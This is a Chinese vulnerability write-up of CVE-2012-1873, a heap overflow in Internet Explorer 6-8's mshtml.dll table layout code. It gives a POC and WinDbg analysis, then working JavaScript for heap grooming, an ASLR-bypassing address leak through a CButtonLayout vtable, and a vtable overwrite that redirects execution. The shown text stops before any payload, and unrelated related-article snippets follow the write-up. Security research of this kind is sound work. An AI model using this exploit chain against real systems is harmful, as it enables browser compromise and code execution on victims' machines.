漏洞分析丨CVE-2012-1873

一、漏洞简述

cve-2012-1873同样是一个著名的堆溢出漏洞,他是IE6-8中MSHTL.dll中的CTableLayout::CalculateMinMax函数里,程序在执行时会以HTML代码中的元素span属性作为循环控制次数向堆中写入数据。第一次会优先根据span申请堆空间,当我们增大span的值后,却不会改变堆空间大小,这样就可以造成堆溢出。

二、漏洞环境

系统版本

​Win7x86sp1

三、漏洞分析

首先对IE打开页堆:

 

然后我们用下面这段POC代码:

<html>
 <body>
 <table style="table-layout:fixed" >
        <col id="132" width="41" span="1" >&nbsp col>
 table>
 <script>
 
 function over_trigger() {
        var obj_col = document.getElementById("132");
        obj_col.width = "42765";
        obj_col.span = 1000;
 }
 
 setTimeout("over_trigger();",1);
 
 script>
 body>
 html>

这里先对span属性赋值为1,然后又通过函数trigger修改为1000,保存后把后缀名改成html。用IE打开,卡在这里,接下来用WIndbg附加:

 

 


g起来,让他走

 

然后回到IE中,选择允许运行

 

然后因为页堆保护,断在了溢出位置,mshtml!CTableColCalc::AdjustForCol+0x15:

 

这里可以看到esi的地址导致溢出,我们查看堆栈,可以看到在mshtml!CTableLayout::CalculateMinMax+0x558的地址调用了之前那个函数:

 

所以我们需要在mshtml!CTableLayout::CalculateMinMax函数下断点,看看溢出原因是什么,所以重新运行IE,用windbg附加IE,重复之前的操作,在附加之后对函数mshtml!CTableLayout::CalculateMinMax下断点,然后单步调试查找溢出原因:

 

随后go起来,然后允许操作,可以看到,已经断在了我们断点函数这里:

 

在这里我们看一下CTableLayout::CalculateMinMax的函数声明:

void __thiscall CTableLayout::CalculateMinMax(CTableLayout*theTableLayoutobj, LPVOID IpUnknownstackBuffer);

在这里说明一下,CTableLayout * theTableLayoutobj 这个变量是一个指针,他其实是指向table 元素在内存中的对象,在后续跟踪中就会发现,这里可以先入为主利于理解。
接下来我们单步走:

 

在这里看箭头位置,可以看到ebp+8是第一个参数,赋予eax,也就是 theTableLayoutobj 。通过符号,也可以看出确实是引用CTableLayout对象,也就是标签在内存中的对象。再看:

 

这里ebx+54h的位置是span属性的值,为1。
接下来我们需要注意CalculateMinMax+170h位置这条指令:

 

这里取地址ebx+90h给了esi,而此时ebx的值大家可以注意,就是我们table 元素在内存中的对象的地址。接下来就是调用mshtml!CImplAry::EnsureSizeWorker这个函数:

 

F8进入这个函数,我们看这里,可以看到这里又把ebx+90h的地址给了edi:

 

继续F8走,看箭头位置,又把edi+0Ch给了esi,所以这里堆的地址是ebx+9c:

 

确定了堆的地址,我们继续确定堆的大小,直接看IDA中伪代码:

 

我们跟进去EnsureSizeWorker:

 

可以看到这里做了判断,最低是4* 0x1C个空间,span的值是1,所以这里应该是0x70大小的堆栈空间。我们回到Windbg中查看一下:

 

可以看到堆大小确实为0x70。堆地址为:05f08f90。
接下来我们对函数mshtml!CTableCol::GetAAspan和函数 mshtml!CImplAry::EnsureSizeWorker下断点,go起来,断在了GetAAspan上:

 

这里禁用1号断点,因为会一直进去,手动跟一次就会发现第二次跳过了申请堆空间这个操作,误以为之前申请的已经足够。再次走到GetAAspan函数,这次是为了获取循环写入堆次数的一次调用,我们先不讨论。再次运行到GetAAspan,gu执行完这个函数,可以看到eax的值是3e8,也就是1000,下面有个cmp比较,这里说明span最大不能超过1000:

 

接下来对堆地址下断点,然后go起来:

 

发现地址写入的值是414114,在计算器中看一下:

 

他的值就是我们修改过width* 100的大小。(可以自行试验,这里取巧)继续单步跟进,发现Inc和cmp:

 

可以发现这里拷贝次数就是span的值,然后通过inc和cmp比较,拷贝,ebp-14是每次加一,和span的值ebp+10h比较,随后ebp-24h的地方会加1C。随后我们继续走,就可以发现异常原因了,只有4个1C,但是我们修改span后,循环1000次写入1C个大小,导致异常。
总而言之,就是修改完span后,没有再次申请堆内存,导致在写入样式信息的时候循环写入1000次,在第五次的时候就会发生溢出,因为第一次申请内存是4个1C大小。

四、漏洞利用(有失败风险,很低,如果堆栈布局没有符合心意,可以重新打开一下)

首先通过x32dbg插件checksec查看漏洞保护,所以介次需要绕过DEP保护和ASLR:

 

首先我们需要获取mshtml.dll基址,来绕过ASLR保护。至于怎么获取,我们这里通过获取CButtonLayout虚表指针和msgtml.dll的固定偏移来获取,首先看下面这段代码,是构造堆布局,让程序在为申请堆空间的时候,落入我们布置的区域内,当然记得关闭页堆:

<html> 
<body> 
<div id="test">div> 
<table style="table-layout:fixed"><col id="132" width="41" span="9"> col>table> 
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<script language='javascript'>
var leak_index=-1;
var dap= "EEEE"; 
while ( dap.length < 480 ) dap += dap; 
var padding= "AAAA"; 
while ( padding.length < 480) padding += padding; 
var filler = "BBBB"; 
while ( filler.length < 480) filler += filler;
var arr=new Array();
var rra=new Array();
var div_container=document.getElementById("test");
div_container.style.cssText="display:none";
for(var i=0;i<500;i+=2){
rra[i]=dap.substring(0,(0x100-6)/2);
arr[i]=padding.substring(0,(0x100-6)/2);
arr[i+1]=filler.substring(0,(0x100-6)/2);
var obj=document.createElement("button");
div_container.appendChild(obj);
}
for(var i=200;i<500;i+=2){
rra[i]=null;
  CollectGarbage();
}
script> 
body> 
html>

​4.1、构造堆布局,查看各大块大小

首先这里的字符串在IE中都是Basic String字符串,包含长度前缀4字节和2字节的NULL终止符的Unicode字符串,随后这里是构造俩个数组,申请以0x100(0x100-6是纯字符串,除以二是Unicode编码,最后会自动加上6字节的长度前缀和NULL终止符)为大小的堆块,分别为EEE…,AAA…,BBB…,CButtonLayout(大小为0x108,后续我们会在堆栈中查看);然后循环250次,构造的堆空间如下

 

然后会在代码最后一个for循环中,从堆块链中间开始,释放EEEEE…所在的堆块。至于Span为啥是9,因为我们在分析的时候会知道,分配的堆大小是span值* 0x1C,这里9* 0x1c=FC,是CButtonLayout的大小(待会会在Windbg中查看)。
接下来就是使用前面这段代码,改后缀为html,双击打开,使用windbg附加,先对mshtml!CTableLayout::CalculateMinMax下断点,然后go起来,直到断点断在mshtml!CTableLayout::CalculateMinMax函数上面:

 

然后对申请空间 mshtml!CImplAry::EnsureSizeWorker函数下断点,go起来,卡到这个断点,再gu执行到返回:

 

之前我们分析的时候就知道这里ebx+0x9c是分配的堆栈地址,我们查看一下:

 

可以看到,申请的堆块里面的内容就是EEE…,也就是我们的堆布局完成了,接下来看看CButtonLayout大小:

 

可以看到CButtonLayout的Size=0x21* 8=0x108字节。UserSize=0xFC,但因为内存对齐关系,实际大小为0x108字节。接下来查找大小100h的块,使用!heap -flt s 100,再随便找个地址使用!heap -p -a 0x056bea68查看:

 

​可以看到堆块是21h* 8 =108h,用户大小是100h。

随后我们看一下CButtonLayout虚函数地址(x mshtml!CButtonLayout: ),可以看到虚函数地址在BBBB…堆块之后:

 

4.2、第一次溢出

这次我们需要加上修改span的代码,如下:

var leak_col = document.getElementById("132");
    leak_col.width = "41";
    leak_col.span = "19";

简单计算一下,19* 1ch=214h。214h-108h* 2=4字节(108h是100堆大小+8h字节头信息),所以这里会覆盖BBB堆块前四个字节;接下来使用新的POC验证一下,还是先下mshtml!CTableLayout::CalculateMinMax断点,断在这里在下mshtml!CTableLayout::CalculateMinMax,随后gu走出申请空间函数,这里ebx+9Ch就是申请的堆块地址:

 

我们从堆块后面BBB堆块那里截图看一下:

 

接下来取消所有断点,直接走,让他溢出:

 

可以看到成功溢出到,覆盖到BBB堆块前四个字节。修改完BBB块的长度,在读取这个串的时候就可以访问到后面的虚函数地址。

4.3、获取虚函数地址得到MSHTML.DLL基址

再次找到虚函数地址0x64fc84f8:

 

接下来找mshtml基址(lmm mshtml)0x64e70000:

 

俩者相差0x64fc84f8-0x64e70000=0x1584F8(系统版本不同偏移不同)。
接下来就是获取mshtml基址:

function over_trigger(){
   
    var leak_addr=-1;
    for(var i=0;i<500;i++){
    if(arr[i].length>(0x100-6)/2){
    leak_index=i;
    var leak=arr[i].substring((0x100-6)/2+(2+8)/2,(0x100-6)/2+(2+8+4)/2);
    leak_addr=parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16),16);
    alert("CButtonLayout:0x"+leak_addr.toString(16));
    var mshtmlbase=leak_addr-0x1584F8;
    alert("mshtml:0x"+mshtmlbase.toString(16));
    break;
    }
    }  
    }
    setTimeout(function(){over_trigger()}, 450); 

这里因为修改了BBB堆的字符长度,所以这里判断这个串是不是很长,确定是我们溢出的BBB串,按照字节读取到虚函数地址,便于查看我们打印出来验证,根据相同步骤获取到虚函数地址那里:

 

然后看看mshtml基址:

 

随后取消所有断点,go起来:

 

 


获取成功。

4.4、第二次溢出覆盖虚函数地址

是这段代码:

function trigger_overflow() { 
    var evil_col = document.getElementById("132");
    evil_col.width = "1178993";
    evil_col.span = "44";
}
    setTimeout(function(){trigger_overflow()}, 1000); 

为了严谨,我们还是测试一下,前面步骤一样,直接看效果图:

 

 

可以看到虚函数地址被覆盖为0x07070024(1178993* 100 = 0x07070024),
我们对“ba r4 07070048“下断点 继续go的话:

 

可以看到eax=我们构造的地址,而当前函数流程EIP=07070024+24h的地方:

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/19828.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

数据库事务

目录 一.事务 1.为什么要存在事务 2.什么是事务 3.事务的特性(ACID) 4.MySQL中事务的使用 二.事务的隔离级别 1.什么是隔离级别 2.隔离级别的分类 3.不同隔离级别的现象 4.MySQL中设置隔离级别 5. 四种隔离级别和锁 1.READ-UNCOMMITED 2.READ-COMMITED 3.REPEATAB…

前端实现可拖拽课程表【纯HTML、CSS、JS】

前言 hello&#xff0c;今天实现点小动画&#xff0c;帮助学习理解Web api的拖拽效果&#xff0c;这里实现的是可拖拽的课程表&#xff01;# 效果图 附&#xff1a;作者没钱去除水印&#xff0c;就这样看一下简单的看一下效果吧&#xff01; 实现前言知识 这里我使用事件委…

区间合并(算法)

目录 题目代码实现注意点 题目 给定 n n n 个区间 [ l i , r i ] [l_i, r_i] [li​,ri​]&#xff0c;要求合并所有有交集的区间。 注意如果在端点处相交&#xff0c;也算有交集。 输出合并完成后的区间个数。 例如&#xff1a; [ 1 , 3 ] [1,3] [1,3] 和 [ 2 , 6 ] [2,…

Maven POM和Maven构建配置文件操作笔记

目录 我到现在还是没有太搞懂Maven的作用&#xff0c;我只是有一个模糊的概念就是它可以添加很多的依赖&#xff0c;这样会使项目搭建起来更加方便&#xff0c;你可以谈谈你的看法吗&#xff1f; Maven POM 父&#xff08;Super&#xff09;POM POM 标签大全详解 Maven 构建…

DSP:数字信号处理的原理及应用

什么是DSP&#xff1f;DSP一般有两种解释&#xff1a; 1、Digital Signal Processing&#xff0c;数字信号处理技术&#xff0c;简称DSP。是一门涉及许多学科而又广泛应用于许多领域的新兴学科。数字信号处理是围绕着数字信号处理的理论、实现和应用等几个方面发展起来的。数字…

如何用u盘重装系统win7

​如今的U盘重装win7系统是比较常见的重装win7系统的方法&#xff0c;适用性比较高&#xff0c;操作也十分的简单。有的小伙伴想给自己的电脑重装win7&#xff0c;那么我们用u盘重装系统怎么安装win7?现在小编就来教大家如何用u盘重装系统教程。 工具/原料&#xff1a; 系统…

git commit 设置 eslint + pretter 格式化校验

系统版本 node 版本: v14.17.5 npm 版本: 6.14.14 vue-cli 版本: vue/cli 4.5.19 目录 系统版本 1. 新建一个 vue2.X 空项目 2. 安装插件 eslint ,并初始化 eslint 配置,根目录生成 .eslintrc 配置文件 3. 测试 eslint 配置 4. 安装 husky、lint-staged 5. 在package.j…

使用svg在元素直接绘制连线箭头

注意&#xff1a;svg的图形绘制的点位置坐标是基于画布的位置坐标&#xff0c;相当于从左上角的点为起点。 先来个简单示例&#xff1a; 在点与点之间绘制连线箭头 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8">…

ChatGPT学习-如何向ChatGPT提问

​ 最近在学习chatGPT,怎么样的提问是一个好的提问。通过网上找资料肯定不是最好的方法&#xff0c;我想起一句话&#xff0c;“不识庐山真面目&#xff0c;只缘身在此山中”。最好的老师就是chatGPT&#xff01; 下面先展示下提问成果&#xff0c;我通过xmind生成了思维导图 一…

科思转债上市价格预测

科思转债 基本信息 转债名称&#xff1a;科思转债&#xff0c;评级&#xff1a;AA-&#xff0c;发行规模&#xff1a;7.249178亿元。 正股名称&#xff1a;科思股份&#xff0c;今日收盘价&#xff1a;67.1元&#xff0c;转股价格&#xff1a;53.03元。 当前转股价值 转债面值…

电脑断电文件丢失如何找回?给你支几招!

电脑断电文件丢失如何找回&#xff1f;我好不容易熬夜加班做的活动方案&#xff0c;正当将U盘文件转移到笔记本电脑的时候&#xff0c;没有注意笔记本的电量&#xff0c;在转移数据的过程中突然断电了。我的电脑一下子就“熄”了&#xff0c;方案都没来得及保存。这真是一个悲剧…

MySQL主从复制与读写分离

目录 一、mysql主从复制原理1.1 mysql的复制类型1.2 mysql主从复制的工作原理 二、mysql读写分离原理2.1 读写分离的意义2.2 常见的两种mysql读写分离2.2.1.基于程序代码内部实现2.2.2.基于中间代理层实现2.2.3 amoeba 2.3 mysql读写分离原理 三、mysql数据库四种同步方式3.1 异…

MySQL视图详解

我写本文主要目的&#xff0c;是在网上看见了 所以&#xff0c;文本主要探讨的问题如下&#xff0c;验证结果在最后面 一、修改视图&#xff0c;基表会跟着改吗&#xff1f;答案&#xff1a;会改变 二、修改基表&#xff0c;视图会变化吗&#xff1f;答案&#xff1a;会改变 …

Nevron Open Vision for .NET 2022.3 Crack

Nevron Open Vision for .NET 适用于 Blazor、WPF、WinForms 和 Xamarin.Mac 的领先用户界面组件 Nevron Open Vision for .NET 是一套高级 UI 组件&#xff0c;可帮助您从单个代码库开发功能丰富的 Web &#xff08;Blazor WebAssembly&#xff09; 和桌面 &#xff08;WinFor…

手搓GPT系列之 - 通过理解LSTM的反向传播过程,理解LSTM解决梯度消失的原理 - 逐条解释LSTM创始论文全部推导公式,配超多图帮助理解(上篇)

1. 前言 说起RNN和LSTM&#xff0c;就绕不过Sepp Hochreiter 1997年的开山大作 Long Short-term Memory。奈何这篇文章写的实在是太劝退&#xff0c;整篇论文就2张图&#xff0c;网上很多介绍LSTM的文章都对这个模型反向传播的部分避重就轻&#xff0c;更少见&#xff08;反正…

照片尺寸怎么调整大小?三个方法,高效、快捷、安全!

照片尺寸怎么调整大小&#xff1f;照片是我们在日常生活和办公中经常会使用的文件类型之一。在制作各种文件、讲义、PPT、视频等内容时&#xff0c;图片都会成为重要的一部分。不同的图片格式和大小各有特点&#xff0c;有些图片虽然比较大但画质清晰&#xff0c;有些则方便传输…

网络安全公司Dragos披露网络安全事件

工业网络安全公司 Dragos 披露了它所称的“网络安全事件”&#xff0c;此前一个已知的网络犯罪团伙试图突破其防御并渗透到内部网络以加密设备。 虽然 Dragos 表示威胁行为者没有破坏其网络或网络安全平台&#xff0c;但他们可以访问公司的 SharePoint 云服务和合同管理系统。…

Windows系统下Chromedriver.exe安装及配置

Windows系统下Chromedriver.exe安装及配置 在利用selenium工具进行Web自动化测试时&#xff0c;必须先要安装浏览器驱动&#xff0c;通常比较常用的是谷歌浏览器和火狐浏览器。 一、浏览器驱动下载地址 1.浏览器驱动官网&#xff1a;http://chromedriver.storage.googleapis…

【Midjourney】Midjourney 的 Prompt 指令类型 ( 画风指令 | 人物细节指令 | 灯光镜头指令 | 艺术家风格指令 )

文章目录 一、Midjourney 的 Prompt 详细指令规则二、Midjourney 的画风指令关键词1、超现实主义2、注重细节描写3、Artstation 画风4、数字绘画风格5、漫画风格6、线条艺术 三、Midjourney 的人物细节描写关键词1、面部特征描写2、身体描写3、生成示例 14、生成示例 2 四、Mid…

(MIT6.045)自动机、可计算性和复杂性-DFA和NFA

毕业论文写完了。找点事干干。 佛系更新。 这是一门讲述 什么是计算&#xff1f;什么能被计算&#xff1f;怎么高效计算&#xff1f; 的哲学、数学和工程问题的课程。 主要包括&#xff1a; 有限状态机&#xff08;Finite Avtomata&#xff09;&#xff1a;简单的模型。 可…